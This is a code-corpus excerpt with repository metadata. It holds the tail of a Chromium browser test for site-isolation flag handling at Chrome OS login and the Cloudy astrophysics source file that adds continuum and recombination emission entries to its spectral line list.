p.user_policy_isolate_origins << std::endl << " user_flag_internal_names: " << base::JoinString(p.user_flag_internal_names, ", ") << std::endl << " ephemeral_users: " << p.ephemeral_users << std::endl << " expected_request_restart: " << p.expected_request_restart << std::endl << " expected_switches_for_user: " << base::JoinString(p.expected_switches_for_user, ", ") << std::endl << " expected_isolated_origins: " << base::JoinString(p.expected_isolated_origins, ", ") << std::endl << "}"; return os; } // If non-empty, --isolate-origins=|login_screen_isolate_origins| will be // passed to the login manager chrome instance between policy flag sentinels. // Note: On Chrome OS, login_manager evaluates device policy and does this. std::string login_screen_isolate_origins; // If non-empty, the IsolateOrigins user policy will be simulated to be set // |user_policy_isolate_origins|. std::string user_policy_isolate_origins; // If true, the SitePerProcess user policy will be simulated to be set to // true. bool user_policy_site_per_process; std::vector<std::string> user_flag_internal_names; // If true, ephemeral users are enabled. bool ephemeral_users; // If true, the test case will expect that AttemptRestart has been called by // UserSessionManager. bool expected_request_restart; // When a restart was requested, the test case verifies that the flags passed // to |SessionManagerClient::SetFlagsForUser| match // |expected_switches_for_user|. std::vector<std::string> expected_switches_for_user; // List of origins that should be isolated (via policy or via cmdline flag). std::vector<std::string> expected_isolated_origins; }; // Defines the test cases that will be executed. const Params kTestCases[] = { // 0. No site isolation in device or user policy - no restart expected. Params(std::string() /* login_screen_isolate_origins */, std::string() /* user_policy_isolate_origins */, false /* user_policy_site_per_process */, {} /* user_flag_internal_names */, false /* ephemeral_users */, false /* expected_request_restart */, {} /* expected_switches_for_user */), // 1. SitePerProcess opt-out through about://flags - restart expected. Params( std::string() /* login_screen_isolate_origins */, std::string() /* user_policy_isolate_origins */, false /* user_policy_site_per_process */, /* user_flag_internal_names */ {about_flags::SiteIsolationTrialOptOutChoiceEnabled()}, false /* ephemeral_users */, true /* expected_request_restart */, {"--disable-site-isolation-trials"} /* expected_switches_for_user */), // 2. SitePerProcess forced through user policy - opt-out through // about://flags entry expected to be ignored. Params(std::string() /* login_screen_isolate_origins */, std::string() /* user_policy_isolate_origins */, true /* user_policy_site_per_process */, /* user_flag_internal_names */ {about_flags::SiteIsolationTrialOptOutChoiceEnabled()}, false /* ephemeral_users */, false /* expected_request_restart */, {} /* expected_switches_for_user */), // 3. IsolateOrigins in user policy only - no restart expected, because // IsolateOrigins from the user policy should be picked up by // SiteIsolationPrefsObserver (without requiring injection of the // --isolate-origins cmdline switch). Params(std::string() /* login_screen_isolate_origins */, "https://example.com" /* user_policy_isolate_origins */, false /* user_policy_site_per_process */, {} /* user_flag_internal_names */, false /* ephemeral_users */, false /* expected_request_restart */, {} /* expected_switches_for_user */, {"https://example.com"} /* expected_isolated_origins */)}; class SiteIsolationFlagHandlingTest : public ash::OobeBaseTest, public ::testing::WithParamInterface<Params> { public: SiteIsolationFlagHandlingTest(const SiteIsolationFlagHandlingTest&) = delete; SiteIsolationFlagHandlingTest& operator=( const SiteIsolationFlagHandlingTest&) = delete; protected: SiteIsolationFlagHandlingTest() : account_id_(AccountId::FromUserEmailGaiaId("username@examle.com", "1111111111")) {} void SetUpInProcessBrowserTestFixture() override { chromeos::SessionManagerClient::InitializeFakeInMemory(); // Mark that chrome restart can be requested. // Note that AttemptRestart() is mocked out in UserSessionManager through // |SetAttemptRestartClosureInTests| (set up in SetUpOnMainThread). ash::FakeSessionManagerClient::Get()->set_supports_browser_restart(true); std::unique_ptr<ash::ScopedDevicePolicyUpdate> update = device_state_.RequestDevicePolicyUpdate(); update->policy_payload() ->mutable_ephemeral_users_enabled() ->set_ephemeral_users_enabled(GetParam().ephemeral_users); update.reset(); std::unique_ptr<ash::ScopedUserPolicyUpdate> user_policy_update = user_policy_.RequestPolicyUpdate(); if (GetParam().user_policy_site_per_process) { user_policy_update->policy_payload() ->mutable_siteperprocess() ->mutable_policy_options() ->set_mode(em::PolicyOptions::MANDATORY); user_policy_update->policy_payload()->mutable_siteperprocess()->set_value( true); } if (!GetParam().user_policy_isolate_origins.empty()) { user_policy_update->policy_payload() ->mutable_isolateorigins() ->mutable_policy_options() ->set_mode(em::PolicyOptions::MANDATORY); user_policy_update->policy_payload()->mutable_isolateorigins()->set_value( GetParam().user_policy_isolate_origins); } user_policy_update.reset(); OobeBaseTest::SetUpInProcessBrowserTestFixture(); } void SetUpOnMainThread() override { fake_gaia_.SetupFakeGaiaForLogin(account_id_.GetUserEmail(), account_id_.GetGaiaId(), ash::FakeGaiaMixin::kFakeRefreshToken); OobeBaseTest::SetUpOnMainThread(); // Mock out chrome restart. ash::test::UserSessionManagerTestApi session_manager_test_api( ash::UserSessionManager::GetInstance()); session_manager_test_api.SetAttemptRestartClosureInTests( base::BindRepeating( &SiteIsolationFlagHandlingTest::AttemptRestartCalled, base::Unretained(this))); // Observe for user session start. user_session_started_observer_ = std::make_unique<ash::SessionStateWaiter>(); } ash::ChromeUserManagerImpl* GetChromeUserManager() const { return static_cast<ash::ChromeUserManagerImpl*>( user_manager::UserManager::Get()); } bool HasAttemptRestartBeenCalled() const { return attempt_restart_called_; } // Called when chrome requests a restarted. void AttemptRestartCalled() { user_session_started_observer_.reset(); attempt_restart_called_ = true; } void LogIn() { // Start user sign-in. We can't use |LoginPolicyTestBase::LogIn|, because // it waits for a user session start unconditionally, which will not happen // if chrome requests a restart to set user-session flags. ash::WizardController::SkipPostLoginScreensForTesting(); OobeBaseTest::WaitForSigninScreen(); login_manager_.LoginWithDefaultContext(user_); // Wait for either the user session to start, or for restart to be requested // (whichever happens first). user_session_started_observer_->Wait(); } const AccountId account_id_; // This will be set to |true| when chrome has requested a restart. bool attempt_restart_called_ = false; // This is important because ephemeral users only work on enrolled machines. ash::DeviceStateMixin device_state_{ &mixin_host_, ash::DeviceStateMixin::State::OOBE_COMPLETED_CLOUD_ENROLLED}; ash::UserPolicyMixin user_policy_{&mixin_host_, account_id_}; const ash::LoginManagerMixin::TestUserInfo user_{account_id_}; ash::LoginManagerMixin login_manager_{&mixin_host_, {user_}}; ash::FakeGaiaMixin fake_gaia_{&mixin_host_}; // Observes for user session start. std::unique_ptr<ash::SessionStateWaiter> user_session_started_observer_; }; } // namespace IN_PROC_BROWSER_TEST_P(SiteIsolationFlagHandlingTest, PRE_FlagHandlingTest) { LogIn(); if (!GetParam().user_flag_internal_names.empty()) { Profile* profile = chromeos::ProfileHelper::Get()->GetProfileByUserUnsafe( user_manager::UserManager::Get()->GetActiveUser()); ASSERT_TRUE(profile); flags_ui::PrefServiceFlagsStorage flags_storage(profile->GetPrefs()); std::set<std::string> flags_to_set; for (const std::string& flag_to_set : GetParam().user_flag_internal_names) flags_to_set.insert(flag_to_set); EXPECT_TRUE(flags_storage.SetFlags(flags_to_set)); flags_storage.CommitPendingWrites(); } } IN_PROC_BROWSER_TEST_P(SiteIsolationFlagHandlingTest, FlagHandlingTest) { // Skip tests where expected_request_restart is true. // See crbug.com/990817 for more details. if (GetParam().expected_request_restart) return; // Log in and wait for either the user session to start, or for the restart // to be requested (whichever happens first). LogIn(); EXPECT_EQ(GetParam().expected_request_restart, HasAttemptRestartBeenCalled()); // Verify that expected origins are isolated... auto* policy = content::ChildProcessSecurityPolicy::GetInstance(); for (const std::string& origin_str : GetParam().expected_isolated_origins) { url::Origin origin = url::Origin::Create(GURL(origin_str)); EXPECT_TRUE(policy->IsGloballyIsolatedOriginForTesting(origin)); } if (!HasAttemptRestartBeenCalled()) return; // Also verify flags if chrome was restarted. std::vector<std::string> switches_for_user; bool has_switches_for_user = ash::FakeSessionManagerClient::Get()->GetFlagsForUser( cryptohome::CreateAccountIdentifierFromAccountId(account_id_), &switches_for_user); EXPECT_TRUE(has_switches_for_user); // Remove flag sentinels. Keep whatever is between those sentinels, to // verify that we don't pass additional parameters in there. base::EraseIf(switches_for_user, [](const std::string& flag) { return flag == "--flag-switches-begin" || flag == "--flag-switches-end"; }); EXPECT_EQ(GetParam().expected_switches_for_user, switches_for_user); } INSTANTIATE_TEST_SUITE_P(All, SiteIsolationFlagHandlingTest, ::testing::ValuesIn(kTestCases)); } // namespace policy
41.988571
80
0.723734
Yannic
5902ed7a0dab756a28e36d2062017b05b0f8bd9b
23,154
cpp
C++
source/prt_lines_continuum.cpp
cloudy-astrophysics/cloudy_lfs
aed1d6d78042b93f17ea497a37b35a524f3d3e2e
[ "Zlib" ]
null
null
null
source/prt_lines_continuum.cpp
cloudy-astrophysics/cloudy_lfs
aed1d6d78042b93f17ea497a37b35a524f3d3e2e
[ "Zlib" ]
null
null
null
source/prt_lines_continuum.cpp
cloudy-astrophysics/cloudy_lfs
aed1d6d78042b93f17ea497a37b35a524f3d3e2e
[ "Zlib" ]
null
null
null
/* This file is part of Cloudy and is copyright (C)1978-2019 by Gary J. Ferland and * others. For conditions of distribution and use see copyright notice in license.txt */ /*lines_continuum put energetics, H, and He lines into line intensity stack */ #include "cddefines.h" #include "taulines.h" #include "iso.h" #include "geometry.h" #include "heavy.h" #include "dense.h" #include "prt.h" #include "opacity.h" #include "coolheavy.h" #include "phycon.h" #include "rfield.h" #include "predcont.h" #include "radius.h" #include "continuum.h" #include "lines.h" #include "freebound.h" #include "lines_service.h" void lines_continuum(void) { double f1, f2 , bac , flow; long i,nBand; DEBUG_ENTRY( "lines_continuum()" ); /* code has all local emissivities zeroed out with cryptic comment about being * situation dependent. Why? this is option to turn back on */ const bool KILL_CONT = false; i = StuffComment( "continua" ); linadd( 0., (realnum)i , "####", 'i', " start continua"); /* these entries only work correctly if the APERTURE command is not in effect */ if( geometry.iEmissPower == 2 ) { /*********************************************************************** * stuff in Bac ratio - continuum above the Balmer Jump * this is trick, zeroing out saved continuum integrated so far, * and adding the current version, so that the line array gives the * value in the final continuum * * reflected continuum is different from others since relative to inner * radius, others for for this radius *************************************************************************/ /** \todo 2 this block of lines should have nInu, InwT, InwC like main vector of continuum points */ /*************************************************************************** * "Bac " , 3646, this is residual continuum at peak of Balmer Jump * flux below - flux above ***************************************************************************/ /* >>chng 00 dec 02, remove opac.tmn */ /* >>chng 00 dec 19, remove / radius.GeoDil */ /* extrapolated continuum above head */ /* >>chng 01 jul 13, from ConInterOut to ConEmitOut */ f1 = (rfield.ConEmitOut[0][iso_sp[ipH_LIKE][ipHYDROGEN].fb[2].ipIsoLevNIonCon-1] + rfield.ConEmitReflec[0][iso_sp[ipH_LIKE][ipHYDROGEN].fb[2].ipIsoLevNIonCon-1]/radius.r1r0sq )/ rfield.widflx(iso_sp[ipH_LIKE][ipHYDROGEN].fb[2].ipIsoLevNIonCon-1); /* extrapolated continuum below head */ /* >>chng 00 dec 19, remove / radius.GeoDil */ f2 = (rfield.ConEmitOut[0][iso_sp[ipH_LIKE][ipHYDROGEN].fb[2].ipIsoLevNIonCon-2]+ rfield.ConEmitReflec[0][iso_sp[ipH_LIKE][ipHYDROGEN].fb[2].ipIsoLevNIonCon-2]/radius.r1r0sq )/ rfield.widflx(iso_sp[ipH_LIKE][ipHYDROGEN].fb[2].ipIsoLevNIonCon-2); /* convert to nuFnu units */ f1 = f1*0.250*0.250*EN1RYD*radius.r1r0sq; f2 = f2*0.250*0.250*EN1RYD*radius.r1r0sq; bac = (f1 - f2); /* memory not allocated until ipass >= 0 * clear summed intrinsic and emergent intensity of following * entry - following call to linadd will enter the total and * keep entering the total but is done for each zone hence need to * keep resetting to zero*/ if( LineSave.ipass > 0 ) { LineSave.lines[LineSave.nsum].SumLineZero(); } linadd(MAX2(0.,bac)/radius.dVeffAper,3646,"Bac ",'i', "residual flux at head of Balmer continuum, nuFnu "); /* >>chng 03 feb 06, set to zero */ /* emslin saves the per unit vol emissivity of a line, which is normally * what goes into linadd. We zero this unit emissivity which was set * FOR THE PREVIOUS LINE since it is so situation dependent */ if( KILL_CONT && LineSave.ipass > 0 ) { LineSave.lines[LineSave.nsum-1].emslinZero(); } /* memory not allocated until ipass >= 0 */ if( LineSave.ipass > 0 ) { LineSave.lines[LineSave.nsum].SumLineZero(); } linadd(f1/radius.dVeffAper,3645,"nFnu",'i', "total flux above head of Balmer continuum, nuFnu "); /* >>chng 03 feb 06, set to zero */ /* emslin saves the per unit vol emissivity of a line, which is normally * what goes into linadd. We zero this unit emissivity which was set * FOR THE PREVIOUS LINE since it is so situation dependent */ if( KILL_CONT && LineSave.ipass > 0 ) { LineSave.lines[LineSave.nsum-1].emslinZero(); } /* memory not allocated until ipass >= 0 */ if( LineSave.ipass > 0 ) { LineSave.lines[LineSave.nsum].SumLineZero(); } linadd(f2/radius.dVeffAper,3647,"nFnu",'i', "total flux above head of Balmer continuum, nuFnu "); /* >>chng 03 feb 06, set to zero */ /* emslin saves the per unit vol emissivity of a line, which is normally * what goes into linadd. We zero this unit emissivity which was set * FOR THE PREVIOUS LINE since it is so situation dependent */ if( KILL_CONT && LineSave.ipass > 0 ) { LineSave.lines[LineSave.nsum-1].emslinZero(); } /****************************************************************************** * "cout" , 3646, this is outward residual continuum at peak of Balmer Jump * * equal to total in spherical geometry, half in opt thin open geometry * ******************************************************************************/ /* >>chng 00 dec 02, remove opac.tmn */ /* >>chng 00 dec 19, remove / radius.GeoDil */ f1 = rfield.ConEmitOut[0][iso_sp[ipH_LIKE][ipHYDROGEN].fb[2].ipIsoLevNIonCon-1]/ rfield.widflx(iso_sp[ipH_LIKE][ipHYDROGEN].fb[2].ipIsoLevNIonCon-1); /* >>chng 00 dec 19, remove / radius.GeoDil */ f2 = rfield.ConEmitOut[0][iso_sp[ipH_LIKE][ipHYDROGEN].fb[2].ipIsoLevNIonCon-2]/ rfield.widflx(iso_sp[ipH_LIKE][ipHYDROGEN].fb[2].ipIsoLevNIonCon-2); /* net Balmer jump */ bac = (f1 - f2)*0.250*0.250*EN1RYD*radius.r1r0sq; /* memory not allocated until ipass >= 0 */ if( LineSave.ipass > 0 ) { LineSave.lines[LineSave.nsum].SumLineZero(); } linadd(MAX2(0.,bac)/radius.dVeffAper,3646,"cout",'i', "residual flux in Balmer continuum, nuFnu "); /* >>chng 03 feb 06, set to zero */ /* emslin saves the per unit vol emissivity of a line, which is normally * what goes into linadd. We zero this unit emissivity which was set * FOR THE PREVIOUS LINE since it is so situation dependent */ if( KILL_CONT && LineSave.ipass > 0 ) { LineSave.lines[LineSave.nsum-1].emslinZero(); } /********************************************************************* * "cref" , 3646, this is reflected continuum at peak of Balmer Jump* * equal to zero in spherical geometry, half of total in op thin opn * *********************************************************************/ /* >>chng 00 dec 02, remove opac.tmn */ /* >>chng 00 dec 19, remove / radius.GeoDil */ f1 = rfield.ConEmitReflec[0][iso_sp[ipH_LIKE][ipHYDROGEN].fb[2].ipIsoLevNIonCon-1]/ rfield.widflx(iso_sp[ipH_LIKE][ipHYDROGEN].fb[2].ipIsoLevNIonCon-1); f2 = rfield.ConEmitReflec[0][iso_sp[ipH_LIKE][ipHYDROGEN].fb[2].ipIsoLevNIonCon-2]/ rfield.widflx(iso_sp[ipH_LIKE][ipHYDROGEN].fb[2].ipIsoLevNIonCon-2); /* net Balmer jump */ bac = (f1 - f2)*0.250*0.250*EN1RYD; /* memory not allocated until ipass >= 0 */ if( LineSave.ipass > 0 ) { LineSave.lines[LineSave.nsum].SumLineZero(); } linadd(MAX2(0.,bac)/radius.dVeffAper,3646,"cref",'i', "residual flux in Balmer continuum, nuFnu "); /* >>chng 03 feb 06, set to zero */ /* emslin saves the per unit vol emissivity of a line, which is normally * what goes into linadd. We zero this unit emissivity which was set * FOR THE PREVIOUS LINE since it is so situation dependent */ if( KILL_CONT && LineSave.ipass > 0 ) { LineSave.lines[LineSave.nsum-1].emslinZero(); } /********************************************************************* * "thin" , 3646, tot optically thin continuum at peak of Balmer Jump*/ if( nzone > 0 ) { /* rfield.ConEmitLocal is not defined initially, only evaluate when into model */ f1 = rfield.ConEmitLocal[nzone][iso_sp[ipH_LIKE][ipHYDROGEN].fb[2].ipIsoLevNIonCon-1]/ rfield.widflx(iso_sp[ipH_LIKE][ipHYDROGEN].fb[2].ipIsoLevNIonCon-1); f2 = rfield.ConEmitLocal[nzone][iso_sp[ipH_LIKE][ipHYDROGEN].fb[2].ipIsoLevNIonCon-2]/ rfield.widflx(iso_sp[ipH_LIKE][ipHYDROGEN].fb[2].ipIsoLevNIonCon-2); } else { f1 = 0.; f2 = 0.; } bac = (f1 - f2)*0.250*0.250*EN1RYD; linadd(MAX2(0.,bac),3646,"thin",'i', "residual flux in Balmer continuum, nuFnu "); linadd(continuum.cn4861/radius.dVeffAper,4860,"Inci",'i', "incident continuum nu*f_nu at H-beta, at illuminated face of cloud "); linadd(continuum.cn1367/radius.dVeffAper,1367,"Inci",'i', "incident continuum nu*f_nu in FUV 1367A but out of Lya damping wings, at illuminated face of cloud"); linadd(continuum.cn2066/radius.dVeffAper,2066,"Inci",'i', "incident continuum nu*f_nu in FUV 2066A at illuminated face of cloud"); linadd(continuum.cn1216/radius.dVeffAper,1215,"Inci",'i', "incident continuum nu*f_nu near Ly-alpha, at illuminated face of cloud"); if( LineSave.ipass > 0 ) { continuum.cn4861 = 0.; continuum.cn1216 = 0.; continuum.cn1367 = 0.; continuum.cn2066 = 0.; } } flow = (iso_sp[ipH_LIKE][ipHYDROGEN].fb[ipH2p].RadRecomb[ipRecRad] + iso_sp[ipH_LIKE][ipHYDROGEN].fb[ipH2s].RadRecomb[ipRecRad])* iso_sp[ipH_LIKE][ipHYDROGEN].fb[ipH2p].RadRecomb[ipRecEsc]* dense.eden*dense.xIonDense[ipHYDROGEN][1]* 5.45e-12; linadd(flow,0,"Ba C",'i', "integrated Balmer continuum emission"); if( iso_sp[ipH_LIKE][ipHYDROGEN].n_HighestResolved_max >= 3 ) { flow = ( iso_sp[ipH_LIKE][ipHYDROGEN].fb[ipH3s].RadRecomb[ipRecRad]* iso_sp[ipH_LIKE][ipHYDROGEN].fb[ipH3s].RadRecomb[ipRecEsc] + iso_sp[ipH_LIKE][ipHYDROGEN].fb[ipH3p].RadRecomb[ipRecRad]* iso_sp[ipH_LIKE][ipHYDROGEN].fb[ipH3p].RadRecomb[ipRecEsc] + iso_sp[ipH_LIKE][ipHYDROGEN].fb[ipH3d].RadRecomb[ipRecRad]* iso_sp[ipH_LIKE][ipHYDROGEN].fb[ipH3d].RadRecomb[ipRecEsc] ) * dense.eden*dense.xIonDense[ipHYDROGEN][1]*3.53e-12; } else { flow = iso_sp[ipH_LIKE][ipHYDROGEN].fb[3].RadRecomb[ipRecRad]* iso_sp[ipH_LIKE][ipHYDROGEN].fb[3].RadRecomb[ipRecEsc]* dense.eden*dense.xIonDense[ipHYDROGEN][1]*3.53e-12; } linadd(flow,0,"PA C",'i', "Paschen continuum emission "); /* these are a series of continuum bands defined in the file * continuum_bands.ini - this makes it possible to enter any * integrated total emission into the emission-line stack */ /* these entries only work correctly if the APERTURE command is not in effect */ if( geometry.iEmissPower == 2 ) { for( nBand=0; nBand < continuum.nContBand; ++nBand ) { double EmergentContinuum = 0.; double DiffuseEmission = 0.; if( LineSave.ipass > 0 ) { /* find total emission over band - units will be erg cm-2 s-1 */ for( i=continuum.ipContBandLow[nBand]; i<=continuum.ipContBandHi[nBand]; ++i ) { // correction for fraction of low or hi cell // that lies within the band double EdgeCorrection = 1.; if( i==continuum.ipContBandLow[nBand] ) EdgeCorrection = continuum.BandEdgeCorrLow[nBand]; else if( i==continuum.ipContBandHi[nBand]) EdgeCorrection = continuum.BandEdgeCorrHi[nBand]; double xIntenOut = /* the attenuated incident continuum */ flux_correct_isotropic( 0, i-1 ) + // the outward emitted continuous radiation field (rfield.ConEmitOut[0][i-1] + /* outward emitted lines */ rfield.outlin[0][i-1])*geometry.covgeo; xIntenOut *= EdgeCorrection; /* div by opac.E2TauAbsFace[i] because ConEmitReflec has already * been corrected for this - emergent_line will introduce a * further correction so this will cancel the extra factor */ /* NB: Comparison to 1e-37 suppresses overflows when realnum * is double (FLT_IS_DBL). */ double xIntenIn = 0.; if( opac.E2TauAbsFace[i-1] > 1e-37 ) xIntenIn = (double)rfield.ConEmitReflec[0][i-1]/ (double)opac.E2TauAbsFace[i-1]*geometry.covgeo; /* outward emitted lines */ xIntenIn += rfield.reflin[0][i-1]*geometry.covgeo; xIntenIn *= EdgeCorrection; /* the fraction of this that gets out */ EmergentContinuum += rfield.anu(i-1) * emergent_line( xIntenIn , xIntenOut , i ) / SDIV(opac.tmn[i-1]); // diffuse local emission DiffuseEmission += (rfield.ConEmitLocal[nzone][i-1] + rfield.DiffuseLineEmission[i-1])*rfield.anu(i-1)* EdgeCorrection; } } /* we will call lindst with an energy half way between the two * ends of the band. This will make an extinction correction that * has already been applied above by multiplying by emergent_line. * Find this factor and remove it before the call */ double corr = emergent_line( 0.5 , 0.5 , (continuum.ipContBandLow[nBand]+continuum.ipContBandHi[nBand])/2 ); /* NB: Comparison to 1e-37 suppresses overflows when realnum * is double (FLT_IS_DBL). */ if( corr < 1e-37 ) EmergentContinuum = 0.; else EmergentContinuum /= corr; /* convert to physical units */ EmergentContinuum *= EN1RYD*radius.r1r0sq/radius.dVeffAper; DiffuseEmission *= EN1RYD; /* memory not allocated until ipass >= 0 */ if( LineSave.ipass > 0 ) { LineSave.lines[LineSave.nsum].SumLineZero(); } lindst( EmergentContinuum, // the negative wavelength is a sentinel that the wavelength // may be bogus - very often the "center" of the band, as defined // by observers, is far to the blue end of the range. use the // observed definition of the wavelength. This introduces an error // since the wavelength is used to determine the transfer of the // band against background opacities -continuum.ContBandWavelength[nBand], continuum.chContBandLabels[nBand].c_str(), (continuum.ipContBandLow[nBand]+continuum.ipContBandHi[nBand])/2, 't', false, "continuum bands defined in continuum_bands.ini"); // emissivity has no meaning for these bands - quantity is net // transmitted radiation field if( LineSave.ipass > 0 ) { LineSave.lines[LineSave.nsum-1].emslinSet(0,DiffuseEmission); LineSave.lines[LineSave.nsum-1].emslinThin(); } } } linadd(MAX2(0.,CoolHeavy.brems_cool_net),0,"HFFc",'c', "net free-free cooling, ALL species, free-free heating subtracted, so nearly cancels with cooling in LTE "); linadd(MAX2(0.,-CoolHeavy.brems_cool_net),0,"HFFh",'h', "net free-free heating, nearly cancels with cooling in LTE "); linadd(CoolHeavy.brems_cool_h,0,"H FF",'i', " H brems (free-free) cooling "); linadd(CoolHeavy.brems_heat_total,0,"FF H",'i', "total free-free heating "); linadd(CoolHeavy.brems_cool_he,0,"HeFF",'i', "He brems emission "); linadd(CoolHeavy.heavfb,0,"MeFB",'c', "heavy element recombination cooling "); linadd(CoolHeavy.brems_cool_metals,0,"MeFF",'i', "heavy elements (metals) brems cooling, heat not subtracted "); linadd(CoolHeavy.brems_cool_h+CoolHeavy.brems_cool_he+CoolHeavy.brems_cool_metals,0,"ToFF",'i', "total brems emission - total cooling but not minus heating "); linadd((CoolHeavy.brems_cool_h+CoolHeavy.brems_cool_he)*sexp(5.8e6/phycon.te),0,"FF X",'i', "part of H brems, in x-ray beyond 0.5KeV "); linadd(CoolHeavy.eebrm,0,"eeff",'c', "electron - electron brems "); linadd(CoolHeavy.colmet,0,"Mion",'c', " cooling due to collisional ionization of heavy elements" ); /* predict emitted continuum at series of continuum points */ /* class is located in predcont.h, * PredCont - contains vector of pair of Energy and ip where * we want to predict the continuum, * * the entry nFnu will only be printed if the command * print diffuse continuum * is entered - * * this code should be kept parallel with that in dopunch, where * save continuum is produced, since two must agree */ t_PredCont& PredCont = t_PredCont::Inst(); if( LineSave.ipass == 0 ) PredCont.set_offset(LineSave.nsum); /* these entries only work correctly if the APERTURE command is not in effect */ if( geometry.iEmissPower == 2 ) { for( i=0; i < long(PredCont.size()); i++ ) { double SourceTransmitted , Cont_nInu; double SourceReflected, DiffuseOutward, DiffuseInward; double renorm; /* put wavelength in Angstroms into dummy structure, so that we can use iWavLen * to get a proper wavelength with units, continuum energies are stored in PredCont */ (*TauDummy).WLAng() = (realnum)PredCont[i].Angstrom(); /*lambda = iWavLen(TauDummy , &chUnits , &chShift );*/ /* >>chng 00 dec 02, there were three occurrences of /opac.tmn which had the * effect of raising the summed continuum by the local opacity correction factor. * in the case of the Lyman continuum this raised the reported value by orders * of magnitude. There have been commented out in the following for now. */ /* reflected total continuum (diff+incident emitted inward direction) */ /* >>chng 00 dec 08, implement the "set nFnu [SOURCE_REFLECTED] ... command, PvH */ /* >>chng 00 dec 19, remove / radius.GeoDil */ renorm = rfield.anu2(PredCont[i].ip_C())*EN1RYD/rfield.widflx(PredCont[i].ip_C()); /* this is the reflected diffuse continuum */ if( prt.lgDiffuseInward ) { DiffuseInward = rfield.ConEmitReflec[0][PredCont[i].ip_C()]*renorm; } else { DiffuseInward = 0.; } /* the outward diffuse continuum */ if( prt.lgDiffuseOutward ) { DiffuseOutward = rfield.ConEmitOut[0][PredCont[i].ip_C()]*renorm*radius.r1r0sq; } else { DiffuseOutward = 0.; } /* reflected part of INCIDENT continuum (only incident, not diffuse, which was above) */ if( prt.lgSourceReflected ) { SourceReflected = rfield.ConRefIncid[0][PredCont[i].ip_C()]*renorm; } else { SourceReflected = 0.; } /* the attenuated incident continuum */ if( prt.lgSourceTransmitted ) { SourceTransmitted = rfield.flux[0][PredCont[i].ip_C()]*renorm*radius.r1r0sq; } else { SourceTransmitted = 0.; } /* memory has not been allocated until ipass >= 0, so must not access this element, * this element will be used to save the following quantity */ if( LineSave.ipass > 0 ) { LineSave.lines[LineSave.nsum].SumLineZero(); } linadd((DiffuseInward+SourceReflected+DiffuseOutward+SourceTransmitted)/radius.dVeffAper, (*TauDummy).WLAng(),"nFnu",'i', "total continuum at selected energy points " ); /* emslin saves the per unit vol emissivity of a line, which is normally * what goes into linadd. We zero this unit emissivity which was set * FOR THE PREVIOUS LINE since it is so situation dependent */ if( KILL_CONT && LineSave.ipass > 0 ) { LineSave.lines[LineSave.nsum-1].emslinZero(); } /* this is the normal set to zero to trick the NEXT line into going in properly */ if( LineSave.ipass > 0 ) { LineSave.lines[LineSave.nsum].SumLineZero(); } /* the nsum-1 -- emslin and nsum -- SumLine is not a bug, look above - they do * different things to different saves */ Cont_nInu = rfield.flux[0][PredCont[i].ip_C()]*renorm*radius.r1r0sq + rfield.ConRefIncid[0][PredCont[i].ip_C()]*renorm; # if 0 /* this code can be used to create assert statements for the continuum shape */ if( !i ) fprintf(ioQQQ,"\n"); string chWL; sprt_wl( chWL , (*TauDummy).WLAng() ); fprintf( ioQQQ,"assert line luminosity \"nInu\" %s %.3f\n", chWL.c_str(), log10(SDIV(Cont_nInu/radius.dVeffAper) * radius.Conv2PrtInten) ); # endif linadd( Cont_nInu/radius.dVeffAper,(*TauDummy).WLAng(),"nInu",'i', "transmitted and reflected incident continuum at selected energy points " ); /* emslin saves the per unit volume emissivity of a line, which is normally * what goes into linadd. We zero this unit emissivity since it is so situation dependent */ if( KILL_CONT && LineSave.ipass > 0 ) { LineSave.lines[LineSave.nsum-1].emslinZero(); } /* memory has not been allocated until ipass >= 0 */ if( LineSave.ipass > 0 ) { LineSave.lines[LineSave.nsum].SumLineZero(); } linadd( (DiffuseInward+SourceReflected)/radius.dVeffAper,(*TauDummy).WLAng(),"InwT",'i', "total reflected continuum, total inward emission plus reflected (diffuse) total continuum "); if( KILL_CONT && LineSave.ipass > 0 ) { LineSave.lines[LineSave.nsum-1].emslinZero(); } /* memory has not been allocated until ipass >= 0 */ if( LineSave.ipass > 0 ) { LineSave.lines[LineSave.nsum].SumLineZero(); } linadd(SourceReflected/radius.dVeffAper,(*TauDummy).WLAng(),"InwC",'i', "reflected incident continuum (only incident) "); if( KILL_CONT && LineSave.ipass > 0 ) { LineSave.lines[LineSave.nsum-1].emslinZero(); } } } i = StuffComment( "RRC" ); linadd( 0., (realnum)i , "####", 'i',"radiative recombination continua"); // radiative recombination continua, RRC, for iso sequences for( long ipISO=ipH_LIKE; ipISO<NISO; ++ipISO ) { for( long nelem=ipISO; nelem < LIMELM; nelem++ ) { if( nelem < 2 || dense.lgElmtOn[nelem] ) { for( long n=0; n < iso_sp[ipISO][nelem].numLevels_max; n++ ) { if( LineSave.ipass < 0 ) // this pass only counting lines linadd(0.,0.,"dumy",'i',"radiative recombination continuum"); else if( LineSave.ipass == 0 ) { // save wavelength and label /* chIonLbl generates a null terminated 4 char string, of form "C 2" * the result, chLable, is only used when ipass == 0, can be undefined otherwise */ realnum wl = (realnum)(RYDLAM / iso_sp[ipISO][nelem].fb[n].xIsoLevNIonRyd); wl /= (realnum)RefIndex( 1e8/wl ); linadd( 0. , wl ,chIonLbl(iso_sp[ipISO][nelem].trans(1,0)).c_str(),'i', "radiative recombination continuum"); } else { // save intensity linadd(iso_sp[ipISO][nelem].fb[n].RadRecCon,0,"dumy",'i', "radiative recombination continuum"); } } } } } // RRC for non iso sequence ions /* add recombination continua for elements heavier than those done with iso seq */ for( long nelem=NISO; nelem < LIMELM; nelem++ ) { /* do not include species with iso-sequence in following */ /* >>chng 03 sep 09, upper bound was wrong, did not include NISO */ for( long ion=0; ion < nelem-NISO+1; ion++ ) { if( dense.lgElmtOn[nelem] ) { if( LineSave.ipass < 0 ) // this pass only counting lines linadd(0.,0.,"dumy",'i',"radiative recombination continuum"); else if( LineSave.ipass == 0 ) { string chLabel = chIonLbl( nelem+1, ion+1 ); realnum wl = (realnum)(RYDLAM / Heavy.Valence_IP_Ryd[nelem][ion]); wl /= (realnum)RefIndex( 1e8/wl ); linadd( 0. , wl ,chLabel.c_str(),'i', "radiative recombination continuum"); } else { // save intensity linadd(Heavy.RadRecCon[nelem][ion],0,"dumy",'i', "radiative recombination continuum"); } } } } return; }
36.578199
111
0.652501
cloudy-astrophysics
59079ac068a9d3ea2143cb28fd1d7f74c802144e
10,686
cpp
C++
src/YY_Thunks.cpp
fengjixuchui/YY-Thunks
d4b28d34bd05bccae902806f1fcef56ceb6c823f
[ "MIT" ]
null
null
null
src/YY_Thunks.cpp
fengjixuchui/YY-Thunks
